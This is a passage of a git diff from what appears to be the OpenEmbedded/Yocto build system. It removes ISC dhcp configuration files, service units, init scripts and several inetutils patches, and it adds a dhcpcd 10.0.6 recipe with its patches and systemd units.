index 0e6dcf96c2..0000000000
--- a/meta/recipes-connectivity/dhcp/files/dhclient.conf
+++ /dev/null
@@ -1,50 +0,0 @@
-# Configuration file for /sbin/dhclient, which is included in Debian's
-# dhcp3-client package.
-#
-# This is a sample configuration file for dhclient. See dhclient.conf's
-# man page for more information about the syntax of this file
-# and a more comprehensive list of the parameters understood by
-# dhclient.
-#
-# Normally, if the DHCP server provides reasonable information and does
-# not leave anything out (like the domain name, for example), then
-# few changes must be made to this file, if any.
-#
-
-#send host-name "andare.fugue.com";
-#send dhcp-client-identifier 1:0:a0:24:ab:fb:9c;
-#send dhcp-lease-time 3600;
-#supersede domain-name "fugue.com home.vix.com";
-#prepend domain-name-servers 127.0.0.1;
-request subnet-mask, broadcast-address, time-offset, routers,
- domain-name, domain-name-servers, host-name,
- netbios-name-servers, netbios-scope;
-#require subnet-mask, domain-name-servers;
-#timeout 60;
-#retry 60;
-#reboot 10;
-#select-timeout 5;
-#initial-interval 2;
-#script "/etc/dhcp3/dhclient-script";
-#media "-link0 -link1 -link2", "link0 link1";
-#reject 192.33.137.209;
-
-#alias {
-# interface "eth0";
-# fixed-address 192.5.5.213;
-# option subnet-mask 255.255.255.255;
-#}
-
-#lease {
-# interface "eth0";
-# fixed-address 192.33.137.200;
-# medium "link0 link1";
-# option host-name "andare.swiftmedia.com";
-# option subnet-mask 255.255.255.0;
-# option broadcast-address 192.33.137.255;
-# option routers 192.33.137.250;
-# option domain-name-servers 127.0.0.1;
-# renew 2 2000/1/12 00:00:01;
-# rebind 2 2000/1/12 00:00:01;
-# expire 2 2000/1/12 00:00:01;
-#}
diff --git a/meta/recipes-connectivity/dhcp/files/dhclient.service b/meta/recipes-connectivity/dhcp/files/dhclient.service
deleted file mode 100644
index 9ddb4d1dfe..0000000000
--- a/meta/recipes-connectivity/dhcp/files/dhclient.service
+++ /dev/null
@@ -1,13 +0,0 @@
-[Unit]
-Description=Dynamic Host Configuration Protocol (DHCP)
-Wants=network.target
-Before=network.target
-After=systemd-udevd.service
-
-[Service]
-EnvironmentFile=-@SYSCONFDIR@/default/dhcp-client
-ExecStart=@BASE_SBINDIR@/dhclient-systemd-wrapper
-RemainAfterExit=yes
-
-[Install]
-WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/dhcp/files/dhcpd.conf b/meta/recipes-connectivity/dhcp/files/dhcpd.conf
deleted file mode 100644
index 0001c0f00e..0000000000
--- a/meta/recipes-connectivity/dhcp/files/dhcpd.conf
+++ /dev/null
@@ -1,108 +0,0 @@
-#
-# Sample configuration file for ISC dhcpd for Debian
-#
-# $Id: dhcpd.conf,v 1.1.1.1 2002/05/21 00:07:44 peloy Exp $
-#
-
-# The ddns-updates-style parameter controls whether or not the server will
-# attempt to do a DNS update when a lease is confirmed. We default to the
-# behavior of the version 2 packages ('none', since DHCP v2 didn't
-# have support for DDNS.)
-ddns-update-style none;
-
-# option definitions common to all supported networks...
-option domain-name "example.org";
-option domain-name-servers ns1.example.org, ns2.example.org;
-
-default-lease-time 600;
-max-lease-time 7200;
-
-# If this DHCP server is the official DHCP server for the local
-# network, the authoritative directive should be uncommented.
-#authoritative;
-
-# Use this to send dhcp log messages to a different log file (you also
-# have to hack syslog.conf to complete the redirection).
-log-facility local7;
-
-# No service will be given on this subnet, but declaring it helps the
-# DHCP server to understand the network topology.
-
-#subnet 10.152.187.0 netmask 255.255.255.0 {
-#}
-
-# This is a very basic subnet declaration.
-
-#subnet 10.254.239.0 netmask 255.255.255.224 {
-# range 10.254.239.10 10.254.239.20;
-# option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;
-#}
-
-# This declaration allows BOOTP clients to get dynamic addresses,
-# which we don't really recommend.
-
-#subnet 10.254.239.32 netmask 255.255.255.224 {
-# range dynamic-bootp 10.254.239.40 10.254.239.60;
-# option broadcast-address 10.254.239.31;
-# option routers rtr-239-32-1.example.org;
-#}
-
-# A slightly different configuration for an internal subnet.
-#subnet 10.5.5.0 netmask 255.255.255.224 {
-# range 10.5.5.26 10.5.5.30;
-# option domain-name-servers ns1.internal.example.org;
-# option domain-name "internal.example.org";
-# option routers 10.5.5.1;
-# option broadcast-address 10.5.5.31;
-# default-lease-time 600;
-# max-lease-time 7200;
-#}
-
-# Hosts which require special configuration options can be listed in
-# host statements. If no address is specified, the address will be
-# allocated dynamically (if possible), but the host-specific information
-# will still come from the host declaration.
-
-#host passacaglia {
-# hardware ethernet 0:0:c0:5d:bd:95;
-# filename "vmunix.passacaglia";
-# server-name "toccata.fugue.com";
-#}
-
-# Fixed IP addresses can also be specified for hosts. These addresses
-# should not also be listed as being available for dynamic assignment.
-# Hosts for which fixed IP addresses have been specified can boot using
-# BOOTP or DHCP. Hosts for which no fixed address is specified can only
-# be booted with DHCP, unless there is an address range on the subnet
-# to which a BOOTP client is connected which has the dynamic-bootp flag
-# set.
-#host fantasia {
-# hardware ethernet 08:00:07:26:c0:a5;
-# fixed-address fantasia.fugue.com;
-#}
-
-# You can declare a class of clients and then do address allocation
-# based on that. The example below shows a case where all clients
-# in a certain class get addresses on the 10.17.224/24 subnet, and all
-# other clients get addresses on the 10.0.29/24 subnet.
-
-#class "foo" {
-# match if substring (option vendor-class-identifier, 0, 4) = "SUNW";
-#}
-
-#shared-network 224-29 {
-# subnet 10.17.224.0 netmask 255.255.255.0 {
-# option routers rtr-224.example.org;
-# }
-# subnet 10.0.29.0 netmask 255.255.255.0 {
-# option routers rtr-29.example.org;
-# }
-# pool {
-# allow members of "foo";
-# range 10.17.224.10 10.17.224.250;
-# }
-# pool {
-# deny members of "foo";
-# range 10.0.29.10 10.0.29.230;
-# }
-#}
diff --git a/meta/recipes-connectivity/dhcp/files/dhcpd.service b/meta/recipes-connectivity/dhcp/files/dhcpd.service
deleted file mode 100644
index ae4f93eca5..0000000000
--- a/meta/recipes-connectivity/dhcp/files/dhcpd.service
+++ /dev/null
@@ -1,15 +0,0 @@
-[Unit]
-Description=DHCPv4 Server Daemon
-Documentation=man:dhcpd(8) man:dhcpd.conf(5)
-After=network.target
-After=time-sync.target
-
-[Service]
-PIDFile=@localstatedir@/run/dhcpd.pid
-EnvironmentFile=@SYSCONFDIR@/default/dhcp-server
-EnvironmentFile=-@SYSCONFDIR@/sysconfig/dhcp-server
-ExecStartPre=@base_bindir@/touch @localstatedir@/lib/dhcp/dhcpd.leases
-ExecStart=@SBINDIR@/dhcpd -f -cf @SYSCONFDIR@/dhcp/dhcpd.conf -pf @localstatedir@/run/dhcpd.pid $DHCPDARGS -q $INTERFACES
-
-[Install]
-WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/dhcp/files/dhcpd6.service b/meta/recipes-connectivity/dhcp/files/dhcpd6.service
deleted file mode 100644
index 52a6224dc2..0000000000
--- a/meta/recipes-connectivity/dhcp/files/dhcpd6.service
+++ /dev/null
@@ -1,15 +0,0 @@
-[Unit]
-Description=DHCPv6 Server Daemon
-Documentation=man:dhcpd(8) man:dhcpd.conf(5)
-After=network.target
-After=time-sync.target
-
-[Service]
-PIDFile=@localstatedir@/run/dhcpd6.pid
-EnvironmentFile=@SYSCONFDIR@/default/dhcp-server
-EnvironmentFile=-@SYSCONFDIR@/sysconfig/dhcpd6
-ExecStartPre=@base_bindir@/touch @localstatedir@/lib/dhcp/dhcpd6.leases
-ExecStart=@SBINDIR@/dhcpd -f -6 -cf @SYSCONFDIR@/dhcp/dhcpd6.conf -pf @localstatedir@/run/dhcpd6.pid $DHCPDARGS -q $INTERFACES
-
-[Install]
-WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/dhcp/files/dhcrelay.service b/meta/recipes-connectivity/dhcp/files/dhcrelay.service
deleted file mode 100644
index 15ff927d34..0000000000
--- a/meta/recipes-connectivity/dhcp/files/dhcrelay.service
+++ /dev/null
@@ -1,10 +0,0 @@
-[Unit]
-Description=DHCP Relay Agent Daemon
-After=network.target
-
-[Service]
-EnvironmentFile=@SYSCONFDIR@/default/dhcp-relay
-ExecStart=@SBINDIR@/dhcrelay -d --no-pid -q $SERVERS
-
-[Install]
-WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/dhcp/files/init-relay b/meta/recipes-connectivity/dhcp/files/init-relay
deleted file mode 100644
index 019a7e84cf..0000000000
--- a/meta/recipes-connectivity/dhcp/files/init-relay
+++ /dev/null
@@ -1,44 +0,0 @@
-#!/bin/sh
-#
-# $Id: dhcp3-relay,v 1.1 2004/04/16 15:41:08 ml Exp $
-#
-
-# It is not safe to start if we don't have a default configuration...
-if [ ! -f /etc/default/dhcp-relay ]; then
- echo "/etc/default/dhcp-relay does not exist! - Aborting..."
- echo "create this file to fix the problem."
- exit 1
-fi
-
-# Read init script configuration (interfaces the daemon should listen on
-# and the DHCP server we should forward requests to.)
-. /etc/default/dhcp-relay
-
-# Build command line for interfaces (will be passed to dhrelay below.)
-IFCMD=""
-if test "$INTERFACES" != ""; then
- for I in $INTERFACES; do
- IFCMD=${IFCMD}"-i "${I}" "
- done
-fi
-
-DHCRELAYPID=/var/run/dhcrelay.pid
-
-case "$1" in
- start)
- start-stop-daemon -S -x /usr/sbin/dhcrelay -- -q $OPTIONS $IFCMD $SERVERS
- ;;
- stop)
- start-stop-daemon -K -x /usr/sbin/dhcrelay
- ;;
- restart | force-reload)
- $0 stop
- sleep 2
- $0 start
- ;;
- *)
- echo "Usage: /etc/init.d/dhcp-relay {start|stop|restart|force-reload}"
- exit 1
-esac
-
-exit 0
diff --git a/meta/recipes-connectivity/dhcp/files/init-server b/meta/recipes-connectivity/dhcp/files/init-server
deleted file mode 100644
index 5e693adf78..0000000000
--- a/meta/recipes-connectivity/dhcp/files/init-server
+++ /dev/null
@@ -1,44 +0,0 @@
-#!/bin/sh
-#
-# $Id: dhcp3-server.init.d,v 1.4 2003/07/13 19:12:41 mdz Exp $
-#
-
-test -f /usr/sbin/dhcpd || exit 0
-
-# It is not safe to start if we don't have a default configuration...
-if [ ! -f /etc/default/dhcp-server ]; then
- echo "/etc/default/dhcp-server does not exist! - Aborting..."
- exit 0
-fi
-
-# Read init script configuration (so far only interfaces the daemon
-# should listen on.)
-. /etc/default/dhcp-server
-
-case "$1" in
- start)
- echo -n "Starting DHCP server: "
- test -d /var/lib/dhcp/ || mkdir -p /var/lib/dhcp/
- test -f /var/lib/dhcp/dhcpd.leases || touch /var/lib/dhcp/dhcpd.leases
- start-stop-daemon -S -x /usr/sbin/dhcpd -- -q $INTERFACES -user dhcp -group dhcp
- echo "."
- ;;
- stop)
- echo -n "Stopping DHCP server: dhcpd3"
- start-stop-daemon -K -x /usr/sbin/dhcpd
- echo "."
- ;;
- restart | force-reload)
- $0 stop
- sleep 2
- $0 start
- if [ "$?" != "0" ]; then
- exit 1
- fi
- ;;
- *)
- echo "Usage: /etc/init.d/dhcp-server {start|stop|restart|force-reload}"
- exit 1
-esac
-
-exit 0
diff --git a/meta/recipes-connectivity/dhcpcd/dhcpcd_10.0.6.bb b/meta/recipes-connectivity/dhcpcd/dhcpcd_10.0.6.bb
new file mode 100644
index 0000000000..6bde9b1f51
--- /dev/null
+++ b/meta/recipes-connectivity/dhcpcd/dhcpcd_10.0.6.bb
@@ -0,0 +1,61 @@
+SECTION = "console/network"
+SUMMARY = "dhcpcd - a DHCP client"
+DESCRIPTION = "dhcpcd runs on your machine and silently configures your \
+ computer to work on the attached networks without trouble \
+ and mostly without configuration."
+
+HOMEPAGE = "http://roy.marples.name/projects/dhcpcd/"
+
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=ba9c7e534853aaf3de76c905b2410ffd"
+
+SRC_URI = "git://github.com/NetworkConfiguration/dhcpcd;protocol=https;branch=master \
+ file://0001-remove-INCLUDEDIR-to-prevent-build-issues.patch \
+ file://0001-20-resolv.conf-improve-the-sitation-of-working-with-.patch \
+ file://dhcpcd.service \
+ file://dhcpcd@.service \
+ file://0001-dhcpcd.8-Fix-conflict-error-when-enable-multilib.patch \
+ "
+
+SRCREV = "1c8ae59836fa87b4c63c598087f0460ec20ed862"
+S = "${WORKDIR}/git"
+
+inherit pkgconfig autotools-brokensep systemd useradd
+
+SYSTEMD_SERVICE:${PN} = "dhcpcd.service"
+
+PACKAGECONFIG ?= "udev ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+
+PACKAGECONFIG[udev] = "--with-udev,--without-udev,udev,udev"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6"
+# ntp conflicts with chrony
+PACKAGECONFIG[ntp] = "--with-hook=ntp, , ,ntp"
+PACKAGECONFIG[chrony] = "--with-hook=ntp, , ,chrony"
+PACKAGECONFIG[ypbind] = "--with-eghook=yp, , ,ypbind-mt"
+
+# add option to override DBDIR location
+DBDIR ?= "${localstatedir}/lib/${BPN}"
+
+EXTRA_OECONF = "--enable-ipv4 \
+ --dbdir=${DBDIR} \
+ --sbindir=${base_sbindir} \
+ --runstatedir=/run \
+ --enable-privsep \
+ --privsepuser=dhcpcd \
+ --with-hooks \
+ --with-eghooks \
+ "
+
+USERADD_PACKAGES = "${PN}"
+USERADD_PARAM:${PN} = "--system -d ${DBDIR} -M -s /bin/false -U dhcpcd"
+
+do_install:append () {
+ # install systemd unit files
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/dhcpcd*.service ${D}${systemd_system_unitdir}
+
+ chmod 700 ${D}${DBDIR}
+ chown dhcpcd:dhcpcd ${D}${DBDIR}
+}
+
+FILES:${PN}-dbg += "${libdir}/dhcpcd/dev/.debug"
diff --git a/meta/recipes-connectivity/dhcpcd/files/0001-20-resolv.conf-improve-the-sitation-of-working-with-.patch b/meta/recipes-connectivity/dhcpcd/files/0001-20-resolv.conf-improve-the-sitation-of-working-with-.patch
new file mode 100644
index 0000000000..8d1ed6671a
--- /dev/null
+++ b/meta/recipes-connectivity/dhcpcd/files/0001-20-resolv.conf-improve-the-sitation-of-working-with-.patch
@@ -0,0 +1,82 @@
+From 02acc4d875ee81e6fd19ef66d69c9f55b4b4a7e7 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Wed, 9 Nov 2022 16:33:18 +0800
+Subject: [PATCH] 20-resolv.conf: improve the sitation of working with systemd
+
+systemd's resolvconf implementation ignores the protocol part.
+See https://github.com/systemd/systemd/issues/25032.
+
+When using 'dhcp server + dns server + dhcpcd + systemd', we
+get an integration issue, that is dhcpcd runs 'resolvconf -d eth0.ra',
+yet systemd's resolvconf treats it as eth0. This will delete the
+DNS information set by 'resolvconf -a eth0.dhcp'.
+
+Fortunately, 20-resolv.conf has the ability to build the resolv.conf
+file contents itself. We can just pass the generated contents to
+systemd's resolvconf. This way, the DNS information is not incorrectly
+deleted. Also, it does not cause behavior regression for dhcpcd
+in other cases.
+
+Upstream-Status: Inappropriate [OE Specific]
+This patch has been rejected by dhcpcd upstream.
+See details in https://github.com/NetworkConfiguration/dhcpcd/pull/152
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ hooks/20-resolv.conf | 17 +++++++++++++----
+ 1 file changed, 13 insertions(+), 4 deletions(-)
+
+diff --git a/hooks/20-resolv.conf b/hooks/20-resolv.conf
+index 7c29e276..becc019f 100644
+--- a/hooks/20-resolv.conf
++++ b/hooks/20-resolv.conf
+@@ -11,8 +11,12 @@ nocarrier_roaming_dir="$state_dir/roaming"
+ NL="
+ "
+ : ${resolvconf:=resolvconf}
++resolvconf_from_systemd=false
+ if command -v "$resolvconf" >/dev/null 2>&1; then
+ have_resolvconf=true
++ if [ $(basename $(readlink -f $(which $resolvconf))) = resolvectl ]; then
++ resolvconf_from_systemd=true
++ fi
+ else
+ have_resolvconf=false
+ fi
+@@ -69,8 +73,13 @@ build_resolv_conf()
+ else
+ echo "# /etc/resolv.conf.tail can replace this line" >> "$cf"
+ fi
+- if change_file /etc/resolv.conf "$cf"; then
+- chmod 644 /etc/resolv.conf
++ if $resolvconf_from_systemd; then
++ [ -n "$ifmetric" ] && export IF_METRIC="$ifmetric"
++ "$resolvconf" -a "$ifname" <"$cf"
++ else
++ if change_file /etc/resolv.conf "$cf"; then
++ chmod 644 /etc/resolv.conf
++ fi
+ fi
+ rm -f "$cf"
+ }
+@@ -170,7 +179,7 @@ add_resolv_conf()
+ for x in ${new_domain_name_servers}; do
+ conf="${conf}nameserver $x$NL"
+ done
+- if $have_resolvconf; then
++ if $have_resolvconf && ! $resolvconf_from_systemd; then
+ [ -n "$ifmetric" ] && export IF_METRIC="$ifmetric"
+ printf %s "$conf" | "$resolvconf" -a "$ifname"
+ return $?
+@@ -186,7 +195,7 @@ add_resolv_conf()
+
+ remove_resolv_conf()
+ {
+- if $have_resolvconf; then
++ if $have_resolvconf && ($if_down || ! $resolvconf_from_systemd); then
+ "$resolvconf" -d "$ifname" -f
+ else
+ if [ -e "$resolv_conf_dir/$ifname" ]; then
+--
+2.17.1
+
diff --git a/meta/recipes-connectivity/dhcpcd/files/0001-dhcpcd.8-Fix-conflict-error-when-enable-multilib.patch b/meta/recipes-connectivity/dhcpcd/files/0001-dhcpcd.8-Fix-conflict-error-when-enable-multilib.patch
new file mode 100644
index 0000000000..461d04bd1d
--- /dev/null
+++ b/meta/recipes-connectivity/dhcpcd/files/0001-dhcpcd.8-Fix-conflict-error-when-enable-multilib.patch
@@ -0,0 +1,44 @@
+From 5d5ba8a2b8010db6bee68bd712f829cb737c9ac1 Mon Sep 17 00:00:00 2001
+From: Lei Maohui <leimaohui@fujitsu.com>
+Date: Fri, 10 Mar 2023 03:48:46 +0000
+Subject: [PATCH] dhcpcd.8: Fix conflict error when enable multilib.
+
+Error: Transaction test error:
+ file /usr/share/man/man8/dhcpcd.8 conflicts between attempted
+ installs of dhcpcd-doc-9.4.1-r0.cortexa57 and
+ lib32-dhcpcd-doc-9.4.1-r0.armv7ahf_neon
+
+The differences between the two files are as follows:
+@@ -821,7 +821,7 @@
+ If you always use the same options, put them here.
+ .It Pa /usr/libexec/dhcpcd-run-hooks
+ Bourne shell script that is run to configure or de-configure an interface.
+-.It Pa /usr/lib64/dhcpcd/dev
++.It Pa /usr/lib/dhcpcd/dev
+ Linux
+ .Pa /dev
+ management modules.
+
+It is just a man file, there is no necessary to manage multiple
+versions.
+
+Upstream-Status: Inappropriate [oe specific]
+Signed-off-by: Lei Maohui <leimaohui@fujitsu.com>
+
+---
+ src/dhcpcd.8.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/dhcpcd.8.in b/src/dhcpcd.8.in
+index 93232840..09930a31 100644
+--- a/src/dhcpcd.8.in
++++ b/src/dhcpcd.8.in
+@@ -824,7 +824,7 @@ Configuration file for dhcpcd.
+ If you always use the same options, put them here.
+ .It Pa @SCRIPT@
+ Bourne shell script that is run to configure or de-configure an interface.
+-.It Pa @LIBDIR@/dhcpcd/dev
++.It Pa /usr/<libdir>/dhcpcd/dev
+ Linux
+ .Pa /dev
+ management modules.
diff --git a/meta/recipes-connectivity/dhcpcd/files/0001-remove-INCLUDEDIR-to-prevent-build-issues.patch b/meta/recipes-connectivity/dhcpcd/files/0001-remove-INCLUDEDIR-to-prevent-build-issues.patch
new file mode 100644
index 0000000000..c54942be4b
--- /dev/null
+++ b/meta/recipes-connectivity/dhcpcd/files/0001-remove-INCLUDEDIR-to-prevent-build-issues.patch
@@ -0,0 +1,43 @@
+From ec9fc4e6086e1dbe0ac2f94a8a088a571596a581 Mon Sep 17 00:00:00 2001
+From: Stefano Cappa <stefano.cappa.ks89@gmail.com>
+Date: Sun, 13 Jan 2019 01:50:52 +0100
+Subject: [PATCH] remove INCLUDEDIR to prevent build issues
+
+Upstream-Status: Pending
+
+Signed-off-by: Stefano Cappa <stefano.cappa.ks89@gmail.com>
+
+---
+ configure | 5 -----
+ 1 file changed, 5 deletions(-)
+
+diff --git a/configure b/configure
+index 5237b0e2..7220718b 100755
+--- a/configure
++++ b/configure
+@@ -26,7 +26,6 @@ BUILD=
+ HOST=
+ HOSTCC=
+ TARGET=
+-INCLUDEDIR=
+ DEBUG=
+ FORK=
+ STATIC=
+@@ -86,7 +85,6 @@ for x do
+ --mandir) MANDIR=$var;;
+ --datadir) DATADIR=$var;;
+ --with-ccopts|CFLAGS) CFLAGS=$var;;
+- -I|--includedir) INCLUDEDIR="$INCLUDEDIR${INCLUDEDIR:+ }-I$var";;
+ CC) CC=$var;;
+ CPPFLAGS) CPPFLAGS=$var;;
+ PKG_CONFIG) PKG_CONFIG=$var;;
+@@ -343,9 +341,6 @@ if [ -n "$CPPFLAGS" ]; then
+ echo "CPPFLAGS=" >>$CONFIG_MK
+ echo "CPPFLAGS+= $CPPFLAGS" >>$CONFIG_MK
+ fi
+-if [ -n "$INCLUDEDIR" ]; then
+- echo "CPPFLAGS+= $INCLUDEDIR" >>$CONFIG_MK
+-fi
+ if [ -n "$LDFLAGS" ]; then
+ echo "LDFLAGS=" >>$CONFIG_MK
+ echo "LDFLAGS+= $LDFLAGS" >>$CONFIG_MK
diff --git a/meta/recipes-connectivity/dhcpcd/files/dhcpcd.service b/meta/recipes-connectivity/dhcpcd/files/dhcpcd.service
new file mode 100644
index 0000000000..6c967ddaf0
--- /dev/null
+++ b/meta/recipes-connectivity/dhcpcd/files/dhcpcd.service
@@ -0,0 +1,11 @@
+[Unit]
+Description=A minimalistic network configuration daemon with DHCPv4, rdisc and DHCPv6 support
+Wants=network.target
+Before=network.target
+Conflicts=connman.service
+
+[Service]
+ExecStart=/sbin/dhcpcd -q --nobackground
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/dhcpcd/files/dhcpcd@.service b/meta/recipes-connectivity/dhcpcd/files/dhcpcd@.service
new file mode 100644
index 0000000000..845b83b9e5
--- /dev/null
+++ b/meta/recipes-connectivity/dhcpcd/files/dhcpcd@.service
@@ -0,0 +1,16 @@
+[Unit]
+Description=dhcpcd on %I
+Wants=network.target
+Before=network.target
+BindsTo=sys-subsystem-net-devices-%i.device
+After=sys-subsystem-net-devices-%i.device
+Conflicts=connman.service
+
+[Service]
+Type=forking
+PIDFile=/run/dhcpcd/%I.pid
+ExecStart=/sbin/dhcpcd -q %I
+ExecStop=/sbin/dhcpcd -x %I
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/inetutils/inetutils/0001-ftpd-telnetd-Fix-multiple-definitions-of-errcatch-an.patch b/meta/recipes-connectivity/inetutils/inetutils/0001-ftpd-telnetd-Fix-multiple-definitions-of-errcatch-an.patch
deleted file mode 100644
index 49d319f59d..0000000000
--- a/meta/recipes-connectivity/inetutils/inetutils/0001-ftpd-telnetd-Fix-multiple-definitions-of-errcatch-an.patch
+++ /dev/null
@@ -1,58 +0,0 @@
-From 7d39930468e272c740b0eed3c7e5b7fb3abf29e8 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 5 Aug 2020 10:36:22 -0700
-Subject: [PATCH] ftpd,telnetd: Fix multiple definitions of errcatch and not42
-
-This helps fix build failures when -fno-common option is used
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- ftpd/extern.h | 2 +-
- ftpd/ftpcmd.c | 1 +
- telnetd/utility.c | 2 +-
- 3 files changed, 3 insertions(+), 2 deletions(-)
-
-diff --git a/ftpd/extern.h b/ftpd/extern.h
-index ab33cf3..91dbbee 100644
---- a/ftpd/extern.h
-+++ b/ftpd/extern.h
-@@ -90,7 +90,7 @@ extern void user (const char *);
- extern char *sgetsave (const char *);
-
- /* Exported from ftpd.c. */
--jmp_buf errcatch;
-+extern jmp_buf errcatch;
- extern struct sockaddr_storage data_dest;
- extern socklen_t data_dest_len;
- extern struct sockaddr_storage his_addr;
-diff --git a/ftpd/ftpcmd.c b/ftpd/ftpcmd.c
-index beb1f06..d272e9d 100644
---- a/ftpd/ftpcmd.c
-+++ b/ftpd/ftpcmd.c
-@@ -106,6 +106,7 @@
- #endif
-
- off_t restart_point;
-+jmp_buf errcatch;
-
- static char cbuf[512]; /* Command Buffer. */
- static char *fromname;
-diff --git a/telnetd/utility.c b/telnetd/utility.c
-index e7ffb8e..46bf91e 100644
---- a/telnetd/utility.c
-+++ b/telnetd/utility.c
-@@ -63,7 +63,7 @@ static int ncc;
- static char ptyibuf[BUFSIZ], *ptyip;
- static int pcc;
-
--int not42;
-+extern int not42;
-
- static int
- readstream (int p, char *ibuf, int bufsize)
---
-2.28.0
-
diff --git a/meta/recipes-connectivity/inetutils/inetutils/0001-rcp-fix-to-work-with-large-files.patch b/meta/recipes-connectivity/inetutils/inetutils/0001-rcp-fix-to-work-with-large-files.patch
deleted file mode 100644
index d4764f5867..0000000000
--- a/meta/recipes-connectivity/inetutils/inetutils/0001-rcp-fix-to-work-with-large-files.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-Upstream-Status: Pending
-
-Subject: rcp: fix to work with large files
-
-When we copy file by rcp command, if the file > 2GB, it will fail.
-The cause is that it used incorrect data type on file size in sink() of rcp.
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/rcp.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/rcp.c b/src/rcp.c
-index 21f55b6..bafa35f 100644
---- a/src/rcp.c
-+++ b/src/rcp.c
-@@ -876,9 +876,9 @@ sink (int argc, char *argv[])
- enum
- { YES, NO, DISPLAYED } wrerr;
- BUF *bp;
-- off_t i, j;
-+ off_t i, j, size;
- int amt, count, exists, first, mask, mode, ofd, omode;
-- int setimes, size, targisdir, wrerrno;
-+ int setimes, targisdir, wrerrno;
- char ch, *cp, *np, *targ, *vect[1], buf[BUFSIZ];
- const char *why;
-
---
-1.9.1
-
diff --git a/meta/recipes-connectivity/inetutils/inetutils/fix-buffer-fortify-tfpt.patch b/meta/recipes-connectivity/inetutils/inetutils/fix-buffer-fortify-tfpt.patch
deleted file mode 100644
index a91913cb51..0000000000
--- a/meta/recipes-connectivity/inetutils/inetutils/fix-buffer-fortify-tfpt.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-tftpd: Fix abort on error path
-
-When trying to fetch a non existent file, the app crashes with:
-
-*** buffer overflow detected ***:
-Aborted
-
-
-Upstream-Status: Submitted [https://www.mail-archive.com/bug-inetutils@gnu.org/msg03036.html https://gcc.gnu.org/bugzilla/show_bug.cgi?id=91205]
-Signed-off-by: Ricardo Ribalda Delgado <ricardo@ribalda.com>
-diff --git a/src/tftpd.c b/src/tftpd.c
-index 56002a0..144012f 100644
---- a/src/tftpd.c
-+++ b/src/tftpd.c
-@@ -864,9 +864,8 @@ nak (int error)
- pe->e_msg = strerror (error - 100);
- tp->th_code = EUNDEF; /* set 'undef' errorcode */
- }
-- strcpy (tp->th_msg, pe->e_msg);
- length = strlen (pe->e_msg);
-- tp->th_msg[length] = '\0';
-+ memcpy(tp->th_msg, pe->e_msg, length + 1);
- length += 5;
- if (sendto (peer, buf, length, 0, (struct sockaddr *) &from, fromlen) != length)
- syslog (LOG_ERR, "nak: %m\n");
diff --git a/meta/recipes-connectivity/inetutils/inetutils/fix-disable-ipv6.patch b/meta/recipes-connectivity/inetutils/inetutils/fix-disable-ipv6.patch
deleted file mode 100644
index 24c134fcac..0000000000
--- a/meta/recipes-connectivity/inetutils/inetutils/fix-disable-ipv6.patch
+++ /dev/null
@@ -1,83 +0,0 @@
-Upstream: http://www.mail-archive.com/bug-inetutils@gnu.org/msg02103.html
-
-Upstream-Status: Pending
-
-Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
----
- ping/ping_common.h | 20 ++++++++++++++++++++
- 1 file changed, 20 insertions(+)
-
-diff --git a/ping/ping_common.h b/ping/ping_common.h
-index 1dfd1b5..3bfbd12 100644
---- a/ping/ping_common.h
-+++ b/ping/ping_common.h
-@@ -17,10 +17,14 @@
- You should have received a copy of the GNU General Public License
- along with this program. If not, see `http://www.gnu.org/licenses/'. */
-
-+#include <config.h>
-+
- #include <netinet/in_systm.h>
- #include <netinet/in.h>
- #include <netinet/ip.h>
-+#ifdef HAVE_IPV6
- #include <netinet/icmp6.h>
-+#endif
- #include <icmp.h>
- #include <error.h>
- #include <progname.h>
-@@ -62,7 +66,12 @@ struct ping_stat
- want to follow the traditional behaviour of ping. */
- #define DEFAULT_PING_COUNT 0
-
-+#ifdef HAVE_IPV6
- #define PING_HEADER_LEN (USE_IPV6 ? sizeof (struct icmp6_hdr) : ICMP_MINLEN)
-+#else
-+#define PING_HEADER_LEN (ICMP_MINLEN)
-+#endif
-+
- #define PING_TIMING(s) ((s) >= sizeof (struct timeval))
- #define PING_DATALEN (64 - PING_HEADER_LEN) /* default data length */
-
-@@ -74,13 +83,20 @@ struct ping_stat
- (t).tv_usec = ((i)%PING_PRECISION)*(1000000/PING_PRECISION) ;\
- } while (0)
-
-+#ifdef HAVE_IPV6
- /* FIXME: Adjust IPv6 case for options and their consumption. */
- #define _PING_BUFLEN(p, u) ((u)? ((p)->ping_datalen + sizeof (struct icmp6_hdr)) : \
- (MAXIPLEN + (p)->ping_datalen + ICMP_TSLEN))
-
-+#else
-+#define _PING_BUFLEN(p, u) (MAXIPLEN + (p)->ping_datalen + ICMP_TSLEN)
-+#endif
-+
-+#ifdef HAVE_IPV6
- typedef int (*ping_efp6) (int code, void *closure, struct sockaddr_in6 * dest,
- struct sockaddr_in6 * from, struct icmp6_hdr * icmp,
- int datalen);
-+#endif
-
- typedef int (*ping_efp) (int code,
- void *closure,
-@@ -89,13 +105,17 @@ typedef int (*ping_efp) (int code,
- struct ip * ip, icmphdr_t * icmp, int datalen);
-
- union event {
-+#ifdef HAVE_IPV6
